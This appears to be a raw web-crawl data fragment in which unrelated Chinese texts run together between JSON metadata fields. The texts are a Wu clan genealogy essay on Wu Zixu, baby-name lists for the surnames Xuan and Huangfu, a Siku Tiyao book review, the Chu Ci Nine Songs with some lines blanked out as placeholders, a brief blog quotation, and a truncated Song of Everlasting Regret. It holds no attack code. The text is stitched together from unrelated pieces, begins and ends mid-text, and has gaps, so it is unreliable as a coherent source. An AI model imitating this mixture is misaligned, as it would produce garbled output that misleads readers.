后世执胥公托其子于齐鲍牧改为王孙氏 望文生义 以伍亦楚公族作姓氏谱者据之 两粤各房家谱亦多遵其说 噫 此义不明 则子胥之志晦矣 而不知伍氏非公族固彰彰可考也\n吾伍氏系出神农之子日永 封于河陇之地 世为雍侯 至克公始居安定 传之召公 卢帝迁之椒邱 以镇江淮 楚之系出于帝颛高阳 高阳者黃帝之孙 昌意之子也 如风马牛不相及也 其非楚公族一也 椒既为楚所灭 子孙沦为庶人 参公仕楚 楚穆王宠之 伐晋之役 左传称为嬖人 孙叔敖復日参之肉其足食孚 以参公料敌如神 孙叔敖为楚贤相 軍事学识且不及参公 而当时日为嬖人 孙叔敖亦有鄙视之意 以其出身轻微也 若属公族则与国共休戚 又安得谓之嬖人耶 其非公族二也 考楚惟屈 昭 景三公族 楚设三闾大夫掌之 即后世所谓宗正也 故屈原为三闾大夫 遭谗被贬 宁投汨罗而死 不肯去国 以与楚同宗也 若谓伍氏为楚之公族 则何证而云然耶 其非楚公族三也 考之史传皆云伍氏食禄于楚三世 由此观之 则三世以前其非食禄于楚可知也 其非楚之公族四也 举公仕楚灵王熊虔为左尹 当楚康王时娶申宰子牟之女芊氏为夫人 楚为芊氏 古者娶妻不娶同姓 伍氏既为芊姓 举公復娶芊姓为夫人 是娶同姓也 其非楚之公族五也 有此五证 则伍氏非楚公族成铁案矣 伍氏既非楚公族则楚之灭椒实为不共戴天之仇 参公举公奢公之仕楚不过受其统治之下不能不尔 王磐刘因等之仕胡元曾左诸公之仕滿清 君子不以为讥也 乃以忠受诛復欲举吾族而灭之 则楚实世仇也 非固国也 平王独夫也 非共主也 律以春秋復九世仇之义 可与同共日哉 吴谓随人日周之子孙 在汉川者 楚尽灭之亦既復仇之意也 呜呼 子胥公之避难 奔吴国报父仇也 虽江上之渔父 漱水之妇人亦哀其志而庇之 及佐吳伐楚也 楚之君臣上下亦莫敢数其罪而非之皇天后土 实鉴此心 故数千年以后其英灵犹赫濯于天地间 历代帝皇皆有封典 江浙诸省庙食至今 腐儒小生乃欲执其私见而短长之多见 不知自量耳 光忝修吾宗谱牒 开宗明义 特揭此大义 以昭示后人 且以告天下后世之议子胥公者\n选抄《嶺南伍氏阖族总谱》〔卷一下三十四〕伍瑶光撰\n伍瑶光恩平杨桥伍边旧村人,清末拔贡,民国年间任省参议员,兼广东督军公署, 省长公署参议,省立肇庆中学校长,也是恩平一中创建人和首任校长。晚年淡于仕途,解职归里, 后因伍氏宗亲敦请,撰嶺南伍氏阖族总谱,为继任总编辑,民国23年(1934年) 因积劳成疾而与世长辞。\n选抄时我特将字有简化,句有留空不加豆号。\n由于水平有限,字有抄错,请恕谅.\n免责声明:本站部分图文或视频来源于宗亲网友提供或网络搜集,由本站编辑整理,仅供个人研究、交流学习使用,不涉及商业盈利目的。如涉及版权问题,请联系我们予以更改或删除,其他网站原创类内容一切版权归中华伍氏网所有,如需转载请联系本站,并注明来源,谢谢配合。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.chinawu.com\/culture\/detail\/?newsId=86cd7b762daeda84","date":"2023-02-08T19:45:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500904.44\/warc\/CC-MAIN-20230208191211-20230208221211-00023.warc.gz","language":"lzh","language_score":0.7523641586,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.7523641586303711, \"cmn_Hani_score\": 0.14201362431049347, \"nan_Hani_score\": 0.09107068181037903}","num_words":140,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.774,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n宣雨曼 宣新睿 宣睿默 宣思凡 宣枫凡 宣小凡 宣亦凡 宣康凡 宣懿凡 宣若帆 宣雨涵 宣泓伶 宣馨淇 宣美帆 宣柏冰 宣齐谋 宣齐众 宣齐仁 宣齐脉 宣齐君 宣齐军 宣齐郡 宣齐骏 宣齐临 宣齐行 宣齐杉 宣齐淼 宣齐学 宣齐雨 宣齐屿 宣齐宇 宣齐择 宣奇异 宣齐艺 宣齐笑 宣齐福 宣齐一 宣齐强 宣齐翔 宣齐飞 宣齐华 宣齐立 宣齐想 宣齐望 宣齐旺 宣齐士 宣齐硕 宣齐朔 宣齐俊 宣齐峻 宣启闵 宣齐闵 宣齐森 宣齐焱 宣齐天 宣齐傲 宣齐峰 宣齐闻 宣齐运 宣齐韵 宣齐鑫 宣齐林 宣齐才 宣齐辉 宣启隆 宣齐隆 宣齐名 宣启蒙 宣启迪 宣齐铎 宣齐正 宣齐翼 宣齐斌 宣齐帅 宣祈航 宣起航 宣启航 宣麒麟 宣万立 宣泰岳 宣恩若 宣剑敏 宣长在 宣煜程 宣志强 宣昊博 宣珏 宣桠海 宣桠芸 宣桠桐 宣桠轩 宣桠嘉 宣桠珈 宣桠昵 宣桠妮 宣慷 宣抗 宣益炳 宣益彪 宣铁武 宣添麟 宣昶 宣昶安 宣斌斌 宣永 宣阳扬 宣颖杰 宣翰钧 宣翰郡 宣翰骏 宣翰竣 宣翰峻 宣墨翰 宣扬峻 宣杨峻 宣陈杰 宣韩峻 宣韩峰 宣韩枫 宣韩锋 宣韩铄 宣晖铄 宣海锋 宣泓帆 宣雨辰 宣章来 宣艺凤 宣利华 宣庆武 宣泽慧 宣森毅 宣乐毅 宣沂均 宣陈吉 宣子宇 宣殿吉 宣诚吉 宣沛彤 宣沁彤 宣檑 宣大鹏 宣袭潇 宣碧沁 宣沛仪 宣室屋 宣锋平 宣沛柔 宣公瓒 宣公旦 宣楠楠 宣思楠 宣承住 宣承承 宣海承 宣承海 宣承彤 宣承鹏 宣承金 宣承铁 宣承淇 宣承沁 宣云霖 宣剑涛 宣铁源 宣知飞 宣颜璐 宣颜琨 宣然 宣伊 宣海禾 宣海馨 宣海心 宣海欣 宣海荷 宣晓靓 宣海容 宣海帆 宣海菲 宣海酝 宣海蕴 宣海芸 宣海菡 宣海晗 宣海函 宣海涵 宣晓青 宣晓卿 宣雨梃 宣扬帆 宣肖云 宣肖宜 宣小菁 宣一笑 宣晓菁 宣先科 宣雨莛 宣茂珍 宣钰萌 宣家华 宣曼 宣侠父 宣能菡 宣能汉 宣桠楠 宣桠南 宣能超 宣能裕 宣碧芸 宣楠椿 宣楠璐 宣能一 宣能焓 宣能瀚 宣能翰 宣晗 宣能栩 宣能恺 宣志成 宣以广 宣能之 宣能涵 宣能晗 宣庆元 宣志国 宣发财 宣富贵 宣攸 宣姿枨 宣姿 宣银枨 宣紫枨 宣茈枨 宣茈 宣枨 宣枨敏 宣棋 宣树国 宣智慧 宣海 宣晓海 宣栩桐 宣静榕 宣静柠 宣紫杨 宣静桐 宣韵桐 宣琦瑞 宣奇瑞 宣郑志 宣远志 宣瑞志 宣君宇 宣琪瑞 宣金鑫 宣海鑫 宣海涛 宣郑瑞 宣海瑞 宣云起 宣东起 宣云顼 宣云锦 宣云诗 宣云琛 宣云龙 宣烘晗 宣瑞云 宣云瑞 宣淇瑞 宣其瑞 宣天瑞 宣江瑞 宣祺瑞 宣郑昱 宣东方 宣子语 宣泽锋 宣天锋 宣成功 宣灵江 宣子鱼 宣世才 宣世财 宣忠球 宣俏慧 宣致源 宣致涛 宣致水 宣林泽 宣涛瑞 宣宝瑞 宣涵斌 宣苔 宣黛 宣黛黛 宣铭炎 宣培新 宣培鑫 宣培兴 宣佳楠","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.ppp681.cn\/show_A10.aspx","date":"2024-04-20T17:12:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817670.11\/warc\/CC-MAIN-20240420153103-20240420183103-00049.warc.gz","language":"lzh","language_score":0.48508358,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.48508358001708984, \"yue_Hani_score\": 0.2402212768793106, \"nan_Hani_score\": 0.1993984431028366, \"cmn_Hani_score\": 0.060242168605327606, \"jpn_Jpan_score\": 0.011481747962534428}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓皇甫的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓皇甫的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓皇甫的好聽的女孩名字!\n姓皇甫的好聽的女孩名字\n皇甫治娟 皇甫曉琴 皇甫婧茹 皇甫心妍 皇甫悅心 皇甫開梅 皇甫杲文 皇甫順瓊 皇甫炎萍 皇甫瑩倩 皇甫春萍 皇甫禮艷 皇甫金婷 皇甫瑤燦 皇甫玲禎 皇甫曉茹 皇甫冰媛 皇甫嘉悅 皇甫新玲 皇甫盈婷 皇甫基文 皇甫國瑩 皇甫依冉 皇甫燕鳳 皇甫錦蓉 皇甫小紅 皇甫欣燕 皇甫菊萍 皇甫月琴 皇甫怡傑 皇甫漢文 皇甫峻媛 皇甫知蓉 皇甫欣悅 皇甫可琳 皇甫瀅潔 皇甫丹婷 皇甫隆英 皇甫欣玉 皇甫冰茹 皇甫莉平 皇甫禮花 皇甫晶媛 皇甫琪秀 皇甫祖文 皇甫阿紅 皇甫箐瑤 皇甫九琳 皇甫艷花 皇甫建娥 皇甫燕玲 皇甫雪文 皇甫正芳 皇甫瑤謙 皇甫超文 皇甫程悅 皇甫嘉英 皇甫婷傑 皇甫秀文 皇甫茵悅 皇甫燕彤 皇甫霞菲 皇甫棋玲 皇甫紫媛 皇甫萍 皇甫緒文 皇甫好芳 皇甫莉力 皇甫慧婷 皇甫信梅 皇甫思冉 皇甫小娜 皇甫淑莉 皇甫傳芳 皇甫憐娜 皇甫舒婷 皇甫宇婷 皇甫儀霞 皇甫勤莉 皇甫曦婷 皇甫愛霞 皇甫博文 皇甫靜瑤 皇甫新紅 皇甫欣瓊 皇甫戍文 皇甫悅靈 皇甫玲旺 皇甫英霞 皇甫悅瑩 皇甫曉紅 皇甫詩婧 皇甫杏花 皇甫玉潔 皇甫惟倩 皇甫宇芬 皇甫瓊英 皇甫悅琳 皇甫妍伶 皇甫本霞 皇甫澤悅 皇甫於婷 皇甫姝娟 皇甫茜瑤 皇甫玲蕓 皇甫玲漩 皇甫沈潔 皇甫天悅 皇甫燕梅 皇甫小梅 皇甫文娟 皇甫桂茹 》》還是沒有找到滿意的名字?不妨問問大師。\n皇甫燕欣 皇甫菁瑩 皇甫蕭花 皇甫宏梅 皇甫小婭 皇甫茜芳 皇甫璧霞 皇甫詩婷 皇甫瑜雪 皇甫小妹 皇甫韻怡 皇甫琴 皇甫翠琴 皇甫媛寶 皇甫麗梅 皇甫冉 皇甫欞霞 皇甫山琳 皇甫佩玲 皇甫瑛琦 皇甫曉妹 皇甫麥霞 皇甫航英 皇甫恬玉 皇甫觀玉 皇甫卉娜 皇甫嫻麗 皇甫鳴琴 皇甫忠艷 皇甫月妍 皇甫悅騁 皇甫睿玲 皇甫妍昔 皇甫玉琴 皇甫瑛子 皇甫賽玲 皇甫靜茹 皇甫建玉 皇甫成燕 皇甫亞萍 皇甫秀梅 皇甫炎文 皇甫一婷 皇甫謂紅 皇甫一梅 皇甫湘潔 皇甫雯婭 皇甫婧懿 皇甫藝秀 皇甫簫玉 皇甫志芳 皇甫華玲 皇甫錦娜 皇甫美琳 皇甫慧英 皇甫謙霞 皇甫君茹 皇甫婧瀅 皇甫藝燕 皇甫鳳怡 皇甫佳怡 皇甫聞琳 皇甫少麗 皇甫津冉 皇甫美玲 皇甫竹梅 皇甫京霞 皇甫永艷 皇甫新玲 皇甫清穎 皇甫敏燕 皇甫俞蓉 皇甫安燕 皇甫華芬 皇甫姝怡 皇甫娟瑤 皇甫蒂婭 皇甫一瓊 皇甫嘉文 皇甫方妍 皇甫錦茹 皇甫麗蓉 皇甫露艷 皇甫麗美 皇甫悅喬 皇甫欽玉 皇甫詩琴 皇甫純花 皇甫潤玉 皇甫熙茹 皇甫惠嫣 皇甫晴萍 皇甫桂芬 皇甫憶文 皇甫玲諭 皇甫雨嫣 皇甫亞婷 皇甫燕秀 皇甫蓓潔 皇甫書悅 皇甫晨琳 皇甫彥麗 皇甫曉蓉 皇甫秋萍 皇甫一紅 皇甫文婧 皇甫琳韻 皇甫新妍 皇甫怡萍 皇甫領茹 皇甫筱梅 皇甫莘倩 皇甫婭茹 皇甫瑛 皇甫瑾瑤 皇甫曉萍 皇甫執文 皇甫夢媛 皇甫振燕 皇甫悅心 皇甫妍冰 皇甫伶玉 皇甫璨瑤 皇甫小花 皇甫飛英 皇甫雯莉 皇甫鴻燕 皇甫林娜 皇甫歡怡 皇甫蕓穎 皇甫海紅 皇甫伯琳 皇甫小莉 皇甫悅春 皇甫莉芳 皇甫紫婷 皇甫艷瓊 皇甫琮蓉 皇甫筱雪 皇甫曉艷 皇甫凱麗 皇甫國妹 皇甫淑妍 皇甫雪莉 皇甫世娟 皇甫怡宏 皇甫巍文 皇甫倩婷 皇甫思怡 皇甫軍艷 皇甫怡蘭 皇甫萍軒 皇甫怡娟 皇甫悅芝 皇甫寧蓉 皇甫懿瑩 皇甫艷娥 皇甫林潔 皇甫志梅 皇甫寶妍 皇甫瑞潔 皇甫淋瑛 皇甫秀奇 皇甫函玉 皇甫小燕 皇甫雅琴 皇甫漢文 皇甫嘉穎 皇甫乃玉 皇甫珂霞 皇甫淋英 皇甫俊梅 皇甫軍紅 皇甫海艷 皇甫雅琳 皇甫馨穎 皇甫昊 皇甫春暉\n皇甫薇淑 皇甫雅婧 皇甫雅娜 皇甫靜茹 皇甫唐倩 皇甫淬穎 皇甫悅吉 皇甫積梅 皇甫柏秀 皇甫秀潁 皇甫亞莉 皇甫澤瓊 皇甫冉 皇甫浩文 皇甫穌娟 皇甫蘭梅 皇甫春紅 皇甫玉婷 皇甫紫怡 皇甫妙英 皇甫靖怡 皇甫巧娜 皇甫熙文 皇甫玲琴 皇甫維穎 皇甫燕琴 皇甫皓秀 皇甫其玉 皇甫彬娜 皇甫妍娉 皇甫新玲 皇甫琳葒 皇甫彥萍 皇甫宇穎 皇甫婭菲 皇甫香霞 皇甫念媛 皇甫依芳 皇甫雯瑛 皇甫秀玲 皇甫真穎 皇甫建文 皇甫靜芳 皇甫詩琴 皇甫嬌美 皇甫美娜 皇甫翠芳 皇甫盛怡 皇甫惋琴 皇甫楚瑤 皇甫都燕 皇甫慶美 皇甫國麗 皇甫妞 皇甫廷文 皇甫婧安 皇甫勤卓 皇甫竹 皇甫媛 皇甫英英 皇甫燕杉 皇甫小麗 皇甫鳳英 皇甫洇雪 皇甫雪萍 皇甫淳玉 皇甫彩霞 皇甫媛源 皇甫桂娥 皇甫佳怡 皇甫韞怡 皇甫立芬 皇甫智永 皇甫芳聰 皇甫俊煜 皇甫蕾 皇甫小江 皇甫一格 皇甫順燕 皇甫佳穎 皇甫燕婉 皇甫雪紅 皇甫蕓琳 皇甫路美 皇甫永瓊 皇甫梓玲 皇甫燕飛 皇甫玉 皇甫子怡 皇甫榮嫣 皇甫雅娟 皇甫蓉雨 皇甫舒嬋 皇甫莓婷 皇甫怡萍 皇甫麗娜 皇甫海艷 皇甫妃悅 皇甫春麗 皇甫楚娥 皇甫芝玲 皇甫韻婷 皇甫海英 皇甫健文 皇甫湘茹 皇甫涵婷 皇甫默霞 皇甫凌瓊 皇甫陶艷 皇甫樂潔 》》還是沒有找到滿意的名字?不妨問問大師。\n皇甫(Huáng fǔ)姓源出有二:\n1、出自西周,以官名為氏。西周太師(高級武官)皇甫的後代以\"皇甫\"為姓,稱皇甫氏。\n2、出自子姓,是春秋時宋國公族的後代,為皇父氏所改。西周後期宋戴公有個兒子叫公子充石,字皇父,宋武公時任司徒。當時有長狄鄋瞞部落進攻宋國,皇父領軍反擊,打退瞭長狄任,但皇父和兩個兒子也不幸戰死沙場。後來皇父的孫子南雍陲以祖父的字為姓氏,稱為皇父氏。其六世孫皇父孟子,生子皇父遇。秦國滅宋時,皇父遇逃至魯國。西漢中期,皇父遇嫡系子孫皇父鸞,自魯遷居陜西茂盛陵,把姓氏中的\"父\"字改為\"甫\"字(古代二字同音通用),遂成皇甫氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.share4tw.com\/archives\/285553","date":"2016-10-24T12:26:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719566.74\/warc\/CC-MAIN-20161020183839-00142-ip-10-171-6-4.ec2.internal.warc.gz","language":"lzh","language_score":0.975525856,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9755258560180664, \"cmn_Hani_score\": 0.021593671292066574}","num_words":408,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":1} +{"text":"元朱申撰。申有周禮句解。已著錄。是編註釋極淺陋。如仲尼閒居句下。註曰孔子名某字仲尼。閒居謂閒暇居處之時。曾子侍句下。註曰曾子孔子弟子。名參字子輿。侍孔子坐。子曰句下。註曰孔子言曰。參字下。註曰呼其名而告之。蓋鄕塾課蒙之本。不足以言詁經者也。卷首題晦菴先生所定古文孝經句解。而書中以今文章次標列其閒。其字句又不從朱子刋誤本。亦殊糅雜無緒。通志堂經解刻之。蓋姑以備數而已。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0065601.html","date":"2017-03-30T06:41:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218193284.93\/warc\/CC-MAIN-20170322212953-00130-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.5552484393,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.5552484393119812, \"cmn_Hani_score\": 0.21687354147434235, \"nan_Hani_score\": 0.043709591031074524, \"zxx_Latn_score\": 0.03912017494440079, \"yue_Hani_score\": 0.025238528847694397, \"jpn_Jpan_score\": 0.021430205553770065, \"wuu_Hani_score\": 0.012811435386538506}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.555,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭九歌 屈原\n東皇太一\n吉日兮辰良,穆將愉兮上皇。撫長劍兮玉珥,璆鏘鳴兮琳琅。瑤席兮玉瑱,盍將把兮瓊芳。蕙肴蒸兮蘭藉,奠桂酒兮椒漿。揚枹兮拊鼓,△△△兮△△,疏緩節兮安歌,陳竽瑟兮浩倡。靈偃蹇兮姣服,芳菲菲兮滿堂。五音紛兮繁會,君欣欣兮樂康。\n雲中君\n浴蘭湯兮沐芳,華采衣兮若英。靈連蜷兮既留,爛昭昭兮未央。蹇將憺兮壽宮,與日月兮齊光。龍駕兮帝服,聊翱遊兮周章。靈皇皇兮既降,猋遠舉兮雲中。覽冀州兮有餘,橫四海兮焉窮。思夫君兮太息,極勞心兮𢥞𢥞。\n湘君\n君不行兮夷猶,蹇誰留兮中洲?美要眇兮宜修,沛吾乘兮桂舟。令沅湘兮無波,使江水兮安流!望夫君兮未來,吹參差兮誰思!駕飛龍兮北征,邅吾道兮洞庭。薜荔柏兮蕙綢,蓀橈兮蘭旌。望涔陽兮極浦,橫大江兮揚靈。揚靈兮未極,女嬋媛兮為余太息。橫流涕兮潺湲,隱思君兮陫側。桂櫂兮蘭枻,斲冰兮積雪。采薜荔兮水中,搴芙蓉兮木末。心不同兮媒勞,恩不甚兮輕絕。石瀨兮淺淺,飛龍兮翩翩。交不忠兮怨長,期不信兮告余以不閒。鼂騁騖兮江皋,夕弭節兮北渚。鳥次兮屋上,水周兮堂下。捐余玦兮江中,遺余佩兮醴浦。采芳洲兮杜若,將以遺兮下女。時不可兮再得,聊逍遙兮容與。\n湘夫人\n帝子降兮北渚,目眇眇兮愁予。嫋嫋兮秋風,洞庭波兮木葉下。登白薠兮騁望,與佳期兮夕張。鳥何萃兮蘋中,罾何為兮木上。沅有茞兮醴有蘭,思公子兮未敢言。荒忽兮遠望,觀流水兮潺湲。麋何食兮庭中?蛟何為兮水裔?朝馳余馬兮江皋,夕濟兮西澨。聞佳人兮召予,將騰駕兮偕逝。築室兮水中,葺之兮荷蓋。蓀壁兮紫壇,𨤏芳椒兮成堂。桂棟兮蘭橑,辛夷楣兮葯房。罔薜荔兮為帷,擗蕙櫋兮既張。白玉兮為鎮,疏石蘭兮為芳。芷葺兮荷屋,繚之兮杜衡。合百草兮實庭,建芳馨兮廡門。九嶷繽兮並迎,靈之來兮如雲。捐余袂兮江中,遺余褋兮醴浦。搴汀洲兮杜若,將以遺兮遠者。時不可兮驟得,聊逍遙兮容與。\n大司命\n廣開兮天門,紛吾乘兮玄雲。令飄風兮先驅,使涷雨兮灑塵。君迴翔兮以下,踰空桑兮從女。紛緫緫兮九州,何壽夭兮在予!高飛兮安翔,乘清氣兮御陰陽。吾與君兮齋速,導帝之兮九坑。靈衣兮被被,玉佩兮陸離。壹陰兮壹陽,眾莫知兮余所為。折疏麻兮瑤華,將以遺兮離居。老冉冉兮既極,不𡫼近兮愈疏。乘龍兮轔轔,高駝兮沖天。結桂枝兮延竚,羌愈思兮愁人。愁人兮柰何,願若今兮無虧。固人命兮有當,孰離合兮可為?\n少司命\n秋蘭兮麋蕪,羅生兮堂下。綠葉兮素枝,芳菲菲兮襲予。夫人自有兮美子,蓀何以兮愁苦!秋蘭兮青青,綠葉兮紫莖。滿堂兮美人,忽獨與余兮目成。入不言兮出不辭,乘回風兮載雲旗。悲莫悲兮生別離,樂莫樂兮新相知。荷衣兮蕙帶,儵而來兮忽而逝。夕宿兮帝郊,君誰須兮雲之際?與女遊兮九河,衝風至兮水揚波。與女沐兮咸池,晞女髮兮陽之阿。望美人兮未來,臨風怳兮浩歌。孔蓋兮翠旍,登九天兮撫彗星。竦長劍兮擁幼艾,蓀獨宜兮為民正。\n東君\n暾將出兮東方,照吾檻兮扶桑。撫余馬兮安驅,夜皎皎兮既明。駕龍輈兮乘雷,載雲旗兮委蛇。長太息兮將上,心低佪兮顧懷。羌聲色兮娛人,觀者憺兮忘歸。緪瑟兮交鼓,簫鍾兮瑤簴,鳴䶵兮吹竽,思靈保兮賢姱。翾飛兮翠曾,展詩兮會舞。應律兮合節,靈之來兮蔽日。青雲衣兮白霓裳,舉長矢兮射天狼。操余弧兮反淪降,援北斗兮酌桂漿。撰余轡兮高駝翔,杳冥冥兮以東行。\n河伯\n與女遊兮九河,衝風起兮橫波。乘水車兮荷蓋,駕兩龍兮驂螭。登崑崙兮四望,心飛揚兮浩蕩。日將暮兮悵忘歸,惟極浦兮寤懷。魚鱗屋兮龍堂,紫貝闕兮朱宮。靈何為兮水中,乘白黿兮逐文魚。與女遊兮河之渚,流澌紛兮將來下。子交手兮東行,送美人兮南浦。波滔滔兮來迎,魚鱗鱗兮媵予。\n山鬼\n若有人兮山之阿,被薜荔兮帶女羅。既含睇兮又宜笑,子慕予兮善窈窕。乘赤豹兮從文狸,辛夷車兮結桂旗。被石蘭兮帶杜衡,折芳馨兮遺所思:「余處幽篁兮終不見天,路險難兮獨後來。」表獨立兮山之上,雲容容兮而在下。杳冥冥兮羌晝晦,東風飄兮神靈雨。留靈脩兮憺亡歸,歲既晏兮孰華予。采三秀兮於山間,石磊磊兮葛蔓蔓。怨公子兮悵忘歸,君思我兮不得閒。山中人兮芳杜若,飲石泉兮蔭松柏。君思我兮然疑作。靁填填兮雨冥冥,猨啾啾兮又夜鳴。風颯颯兮木蕭蕭,思公子兮徒離憂。\n國殤\n操吳戈兮被犀甲,車錯轂兮短兵接。旌蔽日兮敵若雲,矢交墜兮士爭先。凌余陣兮躐余行,左驂殪兮右刃傷。霾兩輪兮縶四馬,援玉枹兮擊鳴鼓。天時墜兮威靈怒,嚴殺盡兮棄原壄。出不入兮往不反,平原忽兮路超遠。帶長劍兮挾秦弓,首身離兮心不懲。誠既勇兮又以武,終剛強兮不可凌。身既死兮神以靈,子魂魄兮為鬼雄。\n禮魂\n成禮兮會鼓,傳芭兮代舞,△△兮△△,姱女倡兮容與。春蘭兮秋菊,長無絕兮終古。","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/xn--5rtnx620bw5s.tw\/i\/i01\/02.htm","date":"2017-09-26T19:46:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818696681.94\/warc\/CC-MAIN-20170926193955-20170926213955-00443.warc.gz","language":"lzh","language_score":0.5547929406,"language_script":"Hani","minhash_cluster_size":20,"top_langs":"{\"lzh_Hani_score\": 0.5547929406166077, \"cmn_Hani_score\": 0.16997143626213074, \"nan_Hani_score\": 0.12457948178052902, \"yue_Hani_score\": 0.02567090280354023, \"jpn_Jpan_score\": 0.02396589145064354, \"zxx_Latn_score\": 0.010622415691614151}","num_words":24,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":1} +{"text":"跳到主文\n部落格全站分類:心情日記\n讀《楚辭》屈原的〈哀郢〉略有所感記之。\n過夏首而西浮兮,顧龍門而不見。心嬋媛而傷懷兮,眇不知其所蹠;順風波以從流兮,焉洋洋而為客。凌陽侯之氾濫兮,忽翱翔之焉薄!心絓結而不解兮,思蹇產而不釋。\n班傑明的告別年代\n敏松 發表在 痞客邦 PIXNET 留言(0) 人氣()","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/minsong.pixnet.net\/blog\/post\/33678293-%E6%B0%B4%E8%8C%AB%E8%8C%AB%E5%A4%A9%E5%9C%B0%E4%B8%80%E6%B5%81%E6%AE%A4","date":"2017-12-12T04:18:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948515165.6\/warc\/CC-MAIN-20171212041010-20171212061010-00690.warc.gz","language":"lzh","language_score":0.6884775758,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.6884775757789612, \"cmn_Hani_score\": 0.16185389459133148, \"nan_Hani_score\": 0.06233377382159233, \"jpn_Jpan_score\": 0.043341148644685745, \"yue_Hani_score\": 0.034539081156253815}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"漢皇重色思傾國,御宇多年求不得。楊家有女初長成,養在深閨人未識。天生麗質難自棄,一朝選在君王側。回眸一笑百媚生,六宮粉黛無顏色。春寒賜浴華清池,溫泉水滑洗凝脂。侍兒扶起嬌無力,始是新承恩澤時。雲鬢花顏金步搖,芙蓉帳暖度春宵。春宵苦短日高起,從此君王不早朝。承歡侍宴無閒暇,春從春遊夜專夜。後宮佳麗三千人,三千寵愛在一身。金屋妝成嬌侍夜,玉樓宴罷醉和春。姊妹弟兄皆列土,可憐光彩生門戶。遂令天下父母心,不重生男重生女。驪宮高處入青雲,仙樂風飄處處聞。緩歌謾舞凝絲竹,盡日君王看不足。漁陽鼙鼓動地來,驚破霓裳羽衣曲。九重城闕煙塵生,千乘萬騎西南行。翠華搖搖行復止,西出都門百餘里。六軍不發無奈何,宛轉蛾眉馬前死。花鈿委地無人收,翠翹金雀玉搔頭。君王掩面救不得,回看血淚相和流。黃埃散漫風蕭索,雲棧縈紆登劍閣。峨嵋山下少人行,旌旗無光日色薄。蜀江水碧蜀山青,聖主朝朝暮暮情。行宮見月傷心色,夜雨聞鈴腸斷聲。天鏇地轉回龍馭,到此躊躇不能去。馬嵬坡下泥土中,不見玉顏空死處。君臣相顧盡沾衣,東望都門信馬歸。歸來池苑皆依舊,太液芙蓉未央柳。芙蓉如面柳如眉,對此如何不淚垂。春風桃李花開日,秋雨梧桐葉落時。西宮南內多秋草,落葉滿階紅不掃。梨園弟子白髮新,椒房阿監青娥老。夕殿螢飛思悄然,孤燈挑盡未成眠。遲遲鐘鼓初長夜,耿耿星河欲曙天。鴛鴦瓦冷霜華重,翡翠衾寒誰與共。悠悠生死別經年,魂魄不曾來入夢。臨邛道士鴻都客,能以精誠致魂魄。為感君王輾轉思,遂教方士殷勤覓。排空馭氣奔如電,升天入地求之遍。上窮碧落下黃泉,兩處茫茫皆不見。忽聞海上有仙山,山在虛無縹渺間。樓閣玲瓏五雲起,其中綽約多仙子。中有一人字太真,雪膚花貌參差是。金闕西廂叩玉扃,轉教小玉報雙成。聞道漢家天子使,九華帳里夢魂驚。攬衣推枕起徘徊,珠箔銀屏迤邐開。雲鬢半偏新睡覺,花冠不整下堂來。風吹仙袂飄飄舉,猶似霓裳羽衣舞。玉容寂寞淚闌乾,梨花一枝春帶雨。含情凝睇謝君王,一別音容兩渺茫。昭陽殿里恩愛絕,蓬萊宮中日月長。回頭下望人寰處,不見長安見塵霧。惟將舊物表深情,鈿合金釵寄將去。釵留一股合一扇,釵擘黃金合分鈿。但教心似金鈿堅,天上人間會相見。臨別殷勤重寄詞,詞中有誓兩心知。七月七日長生殿,夜半無人私語時。在天願作比翼鳥,在地願為連理